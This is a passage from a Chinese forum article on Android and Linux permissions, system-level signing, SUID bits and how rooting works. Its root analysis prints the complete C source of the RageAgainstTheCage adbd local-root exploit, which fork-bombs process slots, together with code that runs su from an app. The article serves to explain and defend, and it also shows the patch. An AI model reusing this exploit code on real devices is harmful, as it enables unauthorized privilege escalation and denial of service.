TShopping

 找回密碼
 註冊
搜索
TShopping 精選文章 Android 手機開發 查看內容

Android系統權限和root權限

2014-3-18 00:33| 發佈者: woff| 查看: 14951| 評論: 0|原作者: woff

摘要: Android系統是運行在Linux內核上的,Android與Linux分別有自己的一套嚴格的安全及權限機制, Android系統權限相關的內容,(一)linux文件系統上的權限 -rwxr-x--x system system 4156 2012-06-30 16:12 test.ap ...
 
Android系統是運行在Linux內核上的,Android與Linux分別有自己的一套嚴格的安全及權限機制,
Android系統權限相關的內容,
(一)linux文件系統上的權限
-rwxr-x--x system   system       4156 2012-06-30 16:12 test.apk.
代表的是相應的用戶/用戶組及其他人對此文件的訪問權限,與此文件運行起來具有的權限完全不相關比如上面的例子只能說明system用戶擁有對此文件的讀寫執行權限;system組的用戶對此文件擁有讀、執行權限;其他人對此文件只具有執行權限。而test.apk運行起來後可以幹哪些事情,跟這個就不相關了。
千萬不要看apk文件系統上屬於system/system用戶及用戶組,或者root/root用戶及用戶組,就認為apk具有system或root權限。apk程序是運行在虛擬機上的,對應的是Android獨特的權限機制,只有體現到文件系統上時才使用linux的權限設置。
(二)Android的權限規則

(1)Android中的apk必須簽名
這種簽名不是基於權威證書的,不會決定某個應用允不允許安裝,而是一種自簽名證書。
重要的是,android系統有的權限是基於簽名的。比如:system等級的權限有專門對應的簽名,簽名不對,權限也就獲取不到。
默認生成的APK文件是debug簽名的。獲取system權限時用到的簽名見後面描述
(2)基於UserID的進程級別的安全機製麵
進程有獨立的地址空間,進程與進程間默認是不能互相訪問的,Android通過為每一個apk分配唯一的linux userID來實現,名稱為"app_"加一個數字,比如app_43不同的UserID,運行在不同的進程,所以apk之間默認便不能相互訪問。
Android提供了如下的一種機制,可以使兩個apk打破前面講的這種壁壘。
在AndroidManifest.xml中利用sharedUserId屬性給不同的package分配相同的userID,通過這樣做,兩個package可以被當做同一個程序,
系統會分配給兩個程序相同的UserID。當然,基於安全考慮,兩個apk需要相同的簽名,否則沒有驗證也就沒有意義了。
(3)默認apk生成的數據對外是不可見的
實現方法是:Android會為程序存儲的數據分配該程序的UserID。
借助於Linux嚴格的文件系統訪問權限,便實現了apk之間不能相互訪問似有數據的機制。
例:我的應用創建的一個文件,默認權限如下,可以看到只有UserID為app_21的程序才能讀寫該文件。
-rw------- app_21   app_21      87650 2000-01-01 09:48 test.txt
如何對外開放?
< 1> 使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE標記。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.

(4)AndroidManifest.xml中的顯式權限聲明
Android默認應用是沒有任何權限去操作其他應用或系統相關特性的,應用在進行某些操作時都需要顯式地去申請相應的權限。
一般以下動作時都需要申請相應的權限:
A particular permission may be enforced at a number of places during your program's operation:
At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.

在應用安裝的時候,package installer會檢測該應用請求的權限,根據該應用的簽名或者提示用戶來分配相應的權限。
在程序運行期間是不檢測權限的。如果安裝時權限獲取失敗,那執行就會出錯,不會提示用戶權限不夠。
大多數情況下,權限不足導致的失敗會引發一個 SecurityException,會在系統log(system log)中有相關記錄。
(5)權限繼承/UserID繼承
當我們遇到apk權限不足時,我們有時會考慮寫一個linux程序,然後由apk調用它去完成某個它沒有權限完成的事情,很遺憾,這種方法是行不通的。
前面講過,android權限是在進程層面的,也就是說一個apk應用啟動的子進程的權限不可能超越其父進程的權限(即apk的權限),
即使單獨運行某個應用有權限做某事,但如果它是由一個apk調用的,那權限就會被限制。
實際上,android是通過給子進程分配父進程的UserID實現這一機制的。
(三)常見權限不足問題分析

首先要知道,普通apk程序是運行在非root、非system層級的,也就是說看要訪問的文件的權限時,看的是最後三位。
另外,通過system/app安裝的apk的權限一般比直接安裝或adb install安裝的apk的權限要高一些。

言歸正傳,運行一個android應用程序過程中遇到權限不足,一般分為兩種情況:
(1)Log中可明顯看到權限不足的提示。
此種情況一般是AndroidManifest.xml中缺少相應的權限設置,好好查找一番權限列表,應該就可解決,是最易處理的情況。
有時權限都加上了,但還是報權限不足,是什麼情況呢?
Android系統有一些API及權限是需要apk具有一定的等級才能運行的。
比如 SystemClock.setCurrentTimeMillis()修改系統時間,WRITE_SECURE_SETTINGS權限好像都是需要有system級的權限才行。
也就是說UserID是system.
(2)Log裡沒有報權限不足,而是一些其他Exception的提示,這也有可能是權限不足造成的。
比如:我們常會想讀/寫一個配置文件或其他一些不是自己創建的文件,常會報java.io.FileNotFoundException錯誤。
系統認為比較重要的文件一般權限設置的也會比較嚴格,特別是一些很重要的(配置)文件或目錄。

-r--r----- bluetooth bluetooth      935 2010-07-09 20:21 dbus.conf
drwxrwx--x system   system            2010-07-07 02:05 data

dbus.conf好像是藍牙的配置文件,從權限上來看,根本就不可能改動,非bluetooth用戶連讀的權利都沒有。
/data目錄下存的是所有程序的私有數據,默認情況下android是不允許普通apk訪問/data目錄下內容的,通過data目錄的權限設置可知,其他用戶沒有讀的權限。
所以adb普通權限下在data目錄下敲ls命令,會得到opendir failed, Permission denied的錯誤,通過代碼file.listfiles()也無法獲得data目錄下的內容。

上面兩種情況,一般都需要提升apk的權限,目前我所知的apk能提升到的權限就是system(具體方法見:如何使Android應用程序獲取系統權限),


怎樣使android apk 獲取system權限
最近在回答客戶的問題時,提到怎麼將apk 升級到root權限。

1.一般權限的添加
一般情況下,設定apk的權限,可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx>
例如: 給apk添加system權限
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
     ... ...
   android:sharedUserId="android.uid.system">

同時還需要在對應的Android.mk中添加LOCAL_CERTIFICATE := platform這一項。即用系統的簽名,通過這種方式只能使apk的權限升級到system級別,系統中要求root權限才能訪問的文件,apk還是不能訪問。
比如在android 的API中有提供 SystemClock.setCurrentTimeMillis()函數來修改系統時間,這個函數需要root權限或者運行與系統進程中才可以用。
        第一個方法簡單點,不過需要在Android系統源碼的環境下用make來編譯:
        1. 在應用程序的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。
        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform這一行
        3. 使用mm命令來編譯,生成的apk就有修改系統時間的權限了。

        第二個方法是直接把eclipse編出來的apk用系統的簽名文件簽名
        1. 加入android:sharedUserId="android.uid.system"這個屬性。
        2. 使用eclipse編譯出apk文件。
        3. 使用目標系統的platform密鑰來重新給apk文件簽名。首先找到密鑰文件,在我ndroid源碼目錄中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem兩個文件。然後用Android提供的Signapk工具來簽名,signapk的源代碼是在"build/tools/signapk"下,編譯後在out/host/linux-x86/framework下,用法為java -jar signapk.jar  platform.x509.pem platform.pk8 input.apk output.apk"。
       加入android:sharedUserId="android.uid.system"這個屬性。通過Shared User id,擁有同一個User id的多個APK可以配置成運行在同一個進程中。那麼把程序的UID配成android.uid.system,也就是要讓程序運行在系統進程中,這樣就有權限來修改系統時間了。
        只是加入UID還不夠,如果這時候安裝APK的話發現無法安裝,提示簽名不符,原因是程序想要運行在系統進程中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個文件。用這兩個key簽名後apk才真正可以放入系統進程中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。
        這也有一個問題,就是這樣生成的程序只有在原始的Android系統或者是自己編譯的系統中才可以用,因為這樣的系統才可以拿到platform.pk8和platform.x509.pem兩個文件。要是別家公司做的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程序在模擬器上運行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。


怎樣使android apk 獲取root權限
一般linux 獲取root權限是通過執行su命令,那能不能在apk程序中也同樣執行一下該命令呢,我們知道在linux編程中,有exec函數族:
  int execl(cONst char *path, const char *arg, ...);
  int execlp(const char *file, const char *arg, ...);
  int execle(const char *path, const char *arg, ..., char *const envp[]);
  int execv(const char *path, char *const argv[]);
  int execvp(const char *file, char *const argv[]);
  int execve(const char *path, char *const argv[], char *const envp[]);

在java中我們可以借助 Runtime.getRuntime().exec(String command)訪問底層Linux下的程序或腳本,這樣就能執行su命令,使apk具有root權限,能夠訪問系統中需要root權限才能執行的程序或腳本了,具體例子:

package com.visit.dialoglog;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRootfileActivity extends Activity {
     private static final String TAG = "VisitRootfileActivity";
     Process process = null;
     Process process1 = null;   
     DataOutputStream os = null;
     DataInputStream is = null;
     /** Called when the activity is first created. */
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         try {
             process = Runtime.getRuntime().exec("/system/xbin/su"); /*這裡可能需要修改su
   的源代碼 (注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) {*/
            os = new DataOutputStream(process.getOutputStream());
             is = new DataInputStream(process.getInputStream());
            os.writeBytes("/system/bin/ls" + " \n");  //這裡可以執行具有root 權限的程序了  
             os.writeBytes(" exit \n");
             os.flush();
             process.waitFor();
         } catch (Exception e) {            
             Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());
         } finally {
             try {
                 if (os != null) {
                     os.close();
                 }
                 if (is != null) {
                     is.close();
                 }
                 process.destroy();
             } catch (Exception e) {
             }
         }// get the root privileges
     }
}



APK在AndroidManifest.xml常用權限android.permission.ACCESS_CHECKIN_PROPERTIES
//
允許讀寫訪問」properties」表在checkin數據庫中,改值可以修改上傳
android.permission.ACCESS_COARSE_LOCATION
//
允許一個程序訪問CellIDWiFi熱點來獲取粗略的位置
android.permission.ACCESS_FINE_LOCATION
//
允許一個程序訪問精良位置(GPS)
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS
//
允許應用程序訪問額外的位置提供命令
android.permission.ACCESS_MOCK_LOCATION
//
允許程序創建模擬位置提供用於測試
android.permission.ACCESS_NETWORK_STATE
//
允許程序訪問有關GSM網絡信息
android.permission.ACCESS_SURFACE_FLINGER
//
允許程序使用SurfaceFlinger底層特性
android.permission.ACCESS_WIFI_STATE
//
允許程序訪問Wi-Fi網絡狀態信息
android.permission.ADD_SYSTEM_SERVICE
//
允許程序發佈系統級服務
android.permission.BATTERY_STATS
//
允許程序更新手機電池統計信息
android.permission.BLUETOOTH
//
允許程序連接到已配對的藍牙設備
android.permission.BLUETOOTH_ADMIN
//
允許程序發現和配對藍牙設備
android.permission.BRICK
//
請求能夠禁用設備(非常危險
android.permission.BROADCAST_PACKAGE_REMOVED
//
允許程序廣播一個提示消息在一個應用程序包已經移除後
android.permission.BROADCAST_STICKY
//
允許一個程序廣播常用intents
android.permission.CALL_PHONE
//
允許一個程序初始化一個電話撥號不需通過撥號用戶界面需要用戶確認
android.permission.CALL_PRIVILEGED
//
允許一個程序撥打任何號碼,包含緊急號碼無需通過撥號用戶界面需要用戶確認
android.permission.CAMERA
//
請求訪問使用照相設備
android.permission.CHANGE_COMPONENT_ENABLED_STATE
//
允許一個程序是否改變一個組件或其他的啟用或禁用
android.permission.CHANGE_CONFIGURATION
//
允許一個程序修改當前設置,如本地化


android.permission.CHANGE_NETWORK_STATE
//
允許程序改變網絡連接狀態
android.permission.CHANGE_WIFI_STATE
//
允許程序改變Wi-Fi連接狀態
android.permission.CLEAR_APP_CACHE
//
允許一個程序清楚緩存從所有安裝的程序在設備中
android.permission.CLEAR_APP_USER_DATA
//
允許一個程序清除用戶設置
android.permission.CONTROL_LOCATION_UPDATES
//
允許啟用禁止位置更新提示從無線模塊
android.permission.DELETE_CACHE_FILES
//
允許程序刪除緩存文件
android.permission.DELETE_PACKAGES
//
允許一個程序刪除包
android.permission.DEVICE_POWER
//
允許訪問底層電源管理
android.permission.DIAGNOSTIC
//
允許程序RW診斷資源
android.permission.DISABLE_KEYGUARD
//
允許程序禁用鍵盤鎖
android.permission.DUMP
//
允許程序返回狀態抓取信息從系統服務
android.permission.EXPAND_STATUS_BAR
//
允許一個程序擴展收縮在狀態欄,android開發網提示應該是一個類似Windows Mobile中的托盤程序
android.permission.FACTORY_TEST
//
作為一個工廠測試程序,運行在root用戶
android.permission.FLASHLIGHT
//
訪問閃光燈,android開發網提示HTC Dream不包含閃光燈
android.permission.FORCE_BACK
//
允許程序強行一個後退操作是否在頂層activities
android.permission.FOTA_UPDATE
//
暫時不瞭解這是做什麼使用的,android開發網分析可能是一個預留權限.
android.permission.GET_ACCOUNTS
//
訪問一個帳戶列表在Accounts Service
android.permission.GET_PACKAGE_SIZE
//
允許一個程序獲取任何package佔用空間容量
android.permission.GET_TASKS
//
允許一個程序獲取信息有關當前或最近運行的任務,一個縮略的任務狀態,是否活動等等
android.permission.HARDWARE_TEST
//
允許訪問硬件
android.permission.INJECT_EVENTS
//
允許一個程序截獲用戶事件如按鍵、觸摸、軌跡球等等到一個時間流,android開發網提醒算是hook技術吧
android.permission.INSTALL_PACKAGES
//
允許一個程序安裝packages
android.permission.INTERNAL_SYSTEM_WINDOW
//
允許打開窗口使用系統用戶界面
android.permission.INTERNET
//
允許程序打開網絡套接字
android.permission.MANAGE_APP_TOKENS
//
允許程序管理(創建、催後、 z- order默認向z軸推移)程序引用在窗口管理器中
android.permission.MASTER_CLEAR
//
目前還沒有明確的解釋,android開發網分析可能是清除一切數據,類似硬格機
android.permission.MODIFY_AUDIO_SETTINGS
//
允許程序修改全局音頻設置
android.permission.MODIFY_PHONE_STATE
//
允許修改話機狀態,如電源,人機接口等
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
//
允許掛載和反掛載文件系統可移動存儲
android.permission.PERSISTENT_ACTIVITY
//
允許一個程序設置他的activities顯示
android.permission.PROCESS_OUTGOING_CALLS
//
允許程序監視、修改有關播出電話
android.permission.READ_CALENDAR
//
允許程序讀取用戶日曆數據
android.permission.READ_CONTACTS
//
允許程序讀取用戶聯繫人數據
android.permission.READ_FRAME_BUFFER
//
允許程序屏幕波或和更多常規的訪問幀緩衝數據
android.permission.READ_INPUT_STATE
//
允許程序返回當前按鍵狀態
android.permission.READ_LOGS
//
允許程序讀取底層系統日誌文件
android.permission.READ_OWNER_DATA
//
允許程序讀取所有者數據
android.permission.READ_SMS
//
允許程序讀取短信息
android.permission.READ_SYNC_SETTINGS
//
允許程序讀取同步設置
android.permission.READ_SYNC_STATS
//
允許程序讀取同步狀態
android.permission.REBOOT
//
請求能夠重新啟動設備
android.permission.RECEIVE_BOOT_COMPLETED
//
允許一個程序接收到
android.permission.RECEIVE_MMS
//
允許一個程序監控將收到MMS彩信,記錄或處理
android.permission.RECEIVE_SMS
//
允許程序監控一個將收到短信息,記錄或處理
android.permission.RECEIVE_WAP_PUSH
//
允許程序監控將收到WAP PUSH信息
android.permission.RECORD_AUDIO
//
允許程序錄製音頻
android.permission.REORDER_TASKS
//
允許程序改變Z軸排列任務
android.permission.RESTART_PACKAGES
//
允許程序重新啟動其他程序
android.permission.SEND_SMS
//
允許程序發送SMS短信
android.permission.SET_ACTIVITY_WATCHER
//
允許程序監控或控制activities已經啟動全局系統中
android.permission.SET_ALWAYS_FINISH
//
允許程序控制是否活動間接完成在處於後台時
android.permission.SET_ANIMATION_SCALE
//
修改全局信息比例
android.permission.SET_DEBUG_APP
//
配置一個程序用於調試
android.permission.SET_ORIENTATION
//
允許底層訪問設置屏幕方向和實際旋轉
android.permission.SET_PREFERRED_APPLICATIONS
//
允許一個程序修改列表參數PackageManager.addPackageToPreferred()PackageManager.removePackageFromPreferred()方法
android.permission.SET_PROCESS_FOREGROUND
//
允許程序當前運行程序強行到前台
android.permission.SET_PROCESS_LIMIT
//
允許設置最大的運行進程數量
android.permission.SET_TIME_ZONE
//
允許程序設置時間區域
android.permission.SET_WALLPAPER
//
允許程序設置壁紙
android.permission.SET_WALLPAPER_HINTS
//
允許程序設置壁紙hits
android.permission.SIGNAL_PERSISTENT_PROCESSES
//
允許程序請求發送信號到所有顯示的進程中
android.permission.STATUS_BAR
//
允許程序打開、關閉或禁用狀態欄及圖標Allows an application to open, close, or disable the status bar and its icons.
android.permission.SUBSCRIBED_FEEDS_READ
//
允許一個程序訪問訂閱RSS Feed內容提供
android.permission.SUBSCRIBED_FEEDS_WRITE
//
系統暫時保留改設置,android開發網認為未來版本會加入該功能。
android.permission.SYSTEM_ALERT_WINDOW
//
允許一個程序打開窗口使用 TYPE_SYSTEM_ALERT,顯示在其他所有程序的頂層(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. )
android.permission.VIBRATE
//
允許訪問振動設備
android.permission.WAKE_LOCK
//
允許使用PowerManager WakeLocks保持進程在休眠時從屏幕消失
android.permission.WRITE_APN_SETTINGS
//
允許程序寫入APN設置
android.permission.WRITE_CALENDAR
//
允許一個程序寫入但不讀取用戶日曆數據
android.permission.WRITE_CONTACTS
//
允許程序寫入但不讀取用戶聯繫人數據
android.permission.WRITE_GSERVICES
//
允許程序修改Google服務地圖
android.permission.WRITE_OWNER_DATA
//
允許一個程序寫入但不讀取所有者數據
android.permission.WRITE_SETTINGS
//
允許程序讀取或寫入系統設置
android.permission.WRITE_SMS
//
允許程序寫短信
android.permission.WRITE_SYNC_SETTINGS
//
允許程序寫入同步設置
Linux的特殊文件權限
發佈於:  一般文件權限讀(R),寫(W),執行(X)權限比較簡單。一般材料上面都有介紹。                 這裡介紹一下一些特殊的文件權限——SUID,SGID,Stick bit。如果你檢查一下/usr/bin/passwd和/tmp/的文件權限你就會發現和普通的文件權限有少許不同,如下圖所示:
    這裡就涉及到SUID和Stick bit。
SUID和SGID
    我們首先來談一下passwd程序特殊的地方。大家都知道,Linux把用戶的密碼信息存放在/etc/shadow裡面,該文件屬性如下:
可以看到Shadow的只有所有者可讀寫,所有者是root,所以該文件對普通用戶是不可讀寫的。但是普通用戶調用passwd程序是可以修改自己的密碼的,這又是為什麼呢?難道普通用戶可以讀寫shadow文件?當然不是啦。password可以修改shadow文件的原因是他設置了SUID文件權限。
    SUID文件權限作用於可執行文件。一般的可執行文件在執行期的所有者是當前用戶,比如當前系統用戶是simon,simon運行程序a.out,a.out執行期的所有者應該是simon。但是如果我們給可執行文件設置了SUID權限,則該程序執行期間的所有者,就是該文件所有者。還以前面的a.out為例,假如a.out設置了SUID,並且其所有者是root,系統當前用戶是simon,當simon運行a.out的時候,a.out在運行期的所有者就是root,這時a.out可以存取只有root權限才能存取的資源,比如讀寫shadow文件。當a.out執行結束的時候當前用戶的權限又回到了simon的權限了。
     passwd就是設置了SUID權限,並且passwd的所有者是root,所以所有的用戶都可以執行他,在passwd運行期,程序獲得臨時的root權限,這時其可以存取shadow文件。當passwd運行完成,當前用戶又回到普通權限。
     同理,設置程序的SGID,可以使程序運行期可以臨時獲得所有者組的權限。在團隊開發的時候,這個文件權限比較有用,一般系統用SUID比較多。
     SGID可以用於目錄,當目錄設置了SGID之後,在該目錄下面建立的所有文件和目錄都具有和該目錄相同的用戶組。
Stick bit(粘貼位)
     對程序,該權限告訴系統在程序完成後在內存中保存一份運行程序的備份,如該程序常用,可為系統節省點時間,不用每次從磁盤加載到內存。Linux當前對文件沒有實現這個功能,一些其他的UNIX系統實現了這個功能。
     Stick bit可以作用於目錄,在設置了粘貼位的目錄下面的文件和目錄,只有所有者和root可以刪除他。現在我們可以回頭去看看/tmp/目錄的情況,這個目錄設置了粘貼位。所以說,所有人都可以對該目錄讀寫執行(777),這樣意味著所有人都可以在/tmp/下面創建臨時目錄。因為設置Stick bit只有所有者和root才能刪除目錄。這樣普通用戶只能刪除屬於自己的文件,而不能刪除其他人的文件。如下圖所示:
設置SUID,SGID,Stick bit
     前面介紹過SUID與SGID的功能,那麼,如何打開文件使其成為具有SUID與SGID的權限呢?這就需要使用數字更改權限了。現在應該知道,使用數字更改權限的方式為「3個數字」的組合,那麼,如果在這3個數字之前再加上一個數字,最前面的數字就表示這幾個屬性了(註:通常我們使用chmod 0777 filename的方式來設置filename的屬性時,則是假設沒有SUID、SGID及Sticky bit)。
     4為SUID
      2為SGID
      1為Sticky bit

      假設要將一個文件屬性改為「-rwsr-xr-x」,由於s在用戶權限中,所以是SUID,因此,在原先的755之前還要加上4,也就是使用「chmod 4755 filename」來設置。
     SUID也可以用「chmod u+s filename」來設置,「chmod u-s filename」來取消SUID設置;同樣,SGID可以用「chmod g+s filename」,「chmod g-s filename」來取消SGID設置。

Android系統root破解原理分析
獲得root權限的代碼如下:
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os =new
DataOutputStream(process.getOutputStream());
......
os.writeBytes("exit\n");
os.flush();
process.waitFor();
    從上面代碼我們可以看到首先要運行su程序,其實root的秘密都在su程序中,Android系統默認的su程序只能root和shell可以用運行su,如果把這個限制拿掉,就是root破解了!
    下面我們仔細分析一下程序是怎樣獲得root權限的,如果對Linux的su命令熟悉的朋友可能知道su程序都設置SUID位,我們查看一下已經root破解上的su權限設置,
      我們發現su的所有者和所有組都是root,是其實是busybox的軟鏈接,我們查看busybox的屬性發現,其設置了SUIDSGID,並且所有者和所有組都是root。這樣運行busybox的普通用戶,busybox運行過程中獲得的是root的有效用戶。su程序則是把自己啟動一個新的程序,並把自己權限提升至root(我們前面提到su其實就是busybox,運行期它的權限是root,當然也有權限來提升自己的權限)。
     再強調一下不光root手機上su需要設置SUID,所有的Linux系統上的su程序都需要設置SUID位。

     我們發現su也設置了SUID位,這樣普通用戶也可以運行su程序,su程序會驗證root
密碼,如果正確su程序可以把用戶權限提高的root(因為其設置SUID位,運行期是root權限,這樣其有權限提升自己的權限)。
     Android系統的破解的根本原理就是替換掉系統中的su程序,因為系統中的默認su程序需要驗證實際用戶權限(只有root和shell用戶才有權運行系統默認的su程序,其他用戶運行都會返回錯誤)。而破解後的su將不檢查實際用戶權限,這樣普通的用戶也將可以運行su程序,也可以通過su程序將自己的權限提升。
     root破解沒有利用什麼Linux內核漏洞(Linux內核不可能有這麼大的漏洞存在),可以理解成root破解就是在你系統中植入「木馬su」,說它是「木馬」一點兒都不為過,假如惡意程序在系統中運行也可以通過su來提升自己的權限的這樣的結果將會是災難性的。所以一般情況下root過手機都會有一個SuperUser應用程序來讓用戶管理允許誰獲得root權限.但是要替換掉系統中su程序本身就是需要root權限的,怎樣在root破解過程中獲得root權限,假設需要破解的Android系統具備如下條件:
1、可以通過adb連接到設備,一般意味著驅動程序已經安裝。
2、但是adb獲得用戶權限是shell用戶,而不是root。

先瞭解一下adb工具,設備端有adbd服務程序後台運行,為開發機的adb程序提供服務,adbd的權限,決定了adb的權限。具體用戶可查看/system/core/adb下的源碼,查看Android.mk你將會發現adb和adbd其實是一份代碼,然後通過宏來編譯。
查看adb.c的adb_main函數你將會發現adbd中有如下代碼:
   1:int adb_main(int is_daemon)
   2: {
   3:    ......
   4:    property_get("ro.secure", value,"");
   5:    if (strcmp(value,"1") == 0) {
   6:        // don't run as root if ro.secure is set...
   7:        secure = 1;
   8:        ......
   9:    }
  10:
  11:    if (secure) {
  12:        ......
  13:        setgid(AID_SHELL);
  14:        setuid(AID_SHELL);
  15:        ......
  16:    }
  17: }
從中我們可以看到adbd會檢測系統的ro.secure屬性,如果該屬性為1則將會把自己的用戶權限降級成shell用戶。一般設備出廠的時候在/default.prop文件中都會有:
   1: ro.secure=1
這樣將會使adbd啟動的時候自動降級成shell用戶。
然後我們再介紹一下adbd在什麼時候啟動的呢?答案是在init.rc中配置的系統服務,由init進程啟動。我們查看init.rc中有如下內容:
   1: # adbd is controlled by the persist.service.adb.enable system property
   2: service adbd /sbin/adbd
   3:    disabled
對Android屬性系統少有瞭解的朋友將會知道,在init.rc中配置的系統服務啟動的時候都是root權限(因為init進行是root權限,其子程序也是root)。由此我們可以知道在adbd程序在執行:
   1:/* then switch user and group to "shell" */
   2: setgid(AID_SHELL);
   3: setuid(AID_SHELL);
代碼之前都是root權限,只有執行這兩句之後才變成shell權限的。
這樣我們就可以引出root破解過程中獲得root權限的方法了,那就是讓上面setgid和setuid函數執行失敗,也就是降級失敗,那就繼續在root權限下面運行了。
這裡面做一個簡單說明:
1、出廠設置的ro.secure屬性為1,則adbd也將運行在shell用戶權限下;
2、adb工具創建的進程ratc也運行在shell用戶權限下;
3ratc一直創建子進程(ratc創建的子程序也將會運行在shell用戶權限下),緊接著子程序退出,形成殭屍進程,佔用shell用戶的進程資源,直到到達shell用戶的進程數為RLIMIT_NPROC的時候(包括adbdratc及其子程序),這是ratc將會創建子進程失敗。這時候殺掉adbdadbd進程因為是Android系統服務,將會被Android系統自動重啟,這時候ratc也在競爭產生子程序。在adbd程序執行上面setgidsetuid之前,ratc已經創建了一個新的子進程,那麼shell用戶的進程限額已經達到,則adbd進程執行setgidsetuid將會失敗。根據代碼我們發現失敗之後adbd將會繼續執行。這樣adbd進程將會運行在root權限下面了。

這時重新用adb連接設備,則adb將會運行在root權限下面了。
通過上面的介紹我們發現利用RageAgainstTheCage漏洞,可以使adbd獲得root權限,也就是adb獲得了root權限。拿到root權限剩下的問題就好辦了,複製破解之後的su程序到系統中,都是沒有什麼技術含量的事情了。
其實堵住adbd的這個漏洞其實也挺簡單的,新版本已經加兩個這個補丁。
   1:/* then switch user and group to "shell" */
   2:if (setgid(AID_SHELL) != 0) {
   3:    exit(1);
   4: }
   5:if (setuid(AID_SHELL) != 0) {
   6:    exit(1);
   7: }
如果發現setgid和setuid函數執行失敗,則adbd進程異常退出,就把這個漏洞給堵上了。 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c /* android 1.x/2.x adb setuid() root exploit
* (C) 2010 The Android Exploid Crew
*
* Needs to be executed via adb -d shell. It may take a while until
* all process slots are filled and the adb connection is reset.
*
* !!!This is PoC code for educational purposes only!!!
* If you run it, it might crash your device and make it unusable!
* So you use it at your own risk!
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}

pid_t find_adb()
{
        char buf[256];
        int i = 0, fd = 0;
        pid_t found = 0;

        for (i = 0; i < 32000; ++i) {
               sprintf(buf, "/proc/%d/cmdline", i);
               if ((fd = open(buf, O_RDONLY)) < 0)
                       continue;
               memset(buf, 0, sizeof(buf));
               read(fd, buf, sizeof(buf) - 1);
               close(fd);
               if (strstr(buf, "/sbin/adb")) {
                       found = i;
                       break;
               }
        }
        return found;
}


void restart_adb(pid_t pid)
{
        kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
        pid_t p = 0;

        for (;;) {
               p = find_adb();
               if (p != 0 && p != old_adb)
                       break;
               sleep(1);
        }
        sleep(5);
        kill(-1, 9);
}


int main(int argc, char **argv)
{
        pid_t adb_pid = 0, p;
        int pids = 0, new_pids = 1;
        int pepe[2];
        char c = 0;
        struct rlimit rl;

        printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
        printf(" checking NPROC limit ...\n");

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)
               die("[-] getrlimit");

        if (rl.rlim_cur == RLIM_INFINITY) {
               printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
               exit(1);
        }

        printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
        printf(" Searching for adb ...\n");

        adb_pid = find_adb();

        if (!adb_pid)
               die("[-] Cannot find adb");

        printf("[+] Found adb as PID %d\n", adb_pid);
        printf(" Spawning children. Dont type anything and wait for reset!\n");
        printf("\n If you like what we are doing you can send us PayPal money to\n"
               " 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"
               " If you are a company and feel like you profit from our work,\n"
               " we also accept donations > 1000 USD!\n");
        printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n");

        sleep(5);

        if (fork() > 0)
               exit(0);

        setsid();
        pipe(pepe);

        /* generate many (zombie) shell-user processes so restarting
         * adb's setuid() will fail.
         * The whole thing is a bit racy, since when we kill adb
         * there is one more process slot left which we need to
         * fill before adb reaches setuid(). Thats why we fork-bomb
         * in a seprate process.
         */
        if (fork() == 0) {
               close(pepe[0]);
               for (;;) {
                       if ((p = fork()) == 0) {
                               exit(0);
                       } else if (p < 0) {
                               if (new_pids) {
                                      printf("\n[+] Forked %d childs.\n", pids);
                                      new_pids = 0;
                                      write(pepe[1], &c, 1);
                                      close(pepe[1]);
                               }
                       } else {
                               ++pids;
                       }
               }
        }

        close(pepe[1]);
        read(pepe[0], &c, 1);


        restart_adb(adb_pid);

        if (fork() == 0) {
               fork();
               for (;;)
                       sleep(0x743C);
        }

        wait_for_root_adb(adb_pid);
        return 0;
}


Android程序的安全系統
在Android系統中,系統為每一個應用程序(apk)創建了一個用戶和組。這個用戶和組都是受限用戶,不能訪問系統的數據,只能訪問自己的文件和目錄,當然它也不能訪問其他應用程序的數據。這樣設計可以盡可能地保護應用程序的私有數據,增強系統的安全性和健壯性。
     但是有一些應用程序是需要訪問一些系統資源的。比如Setting程序,它需要訪問WiFi,在系統中創建刪除文件等等操作。怎樣做到這一點兒呢?Android通過一定途徑可以獲得system權限。獲得system用戶權限,需要以下步驟:
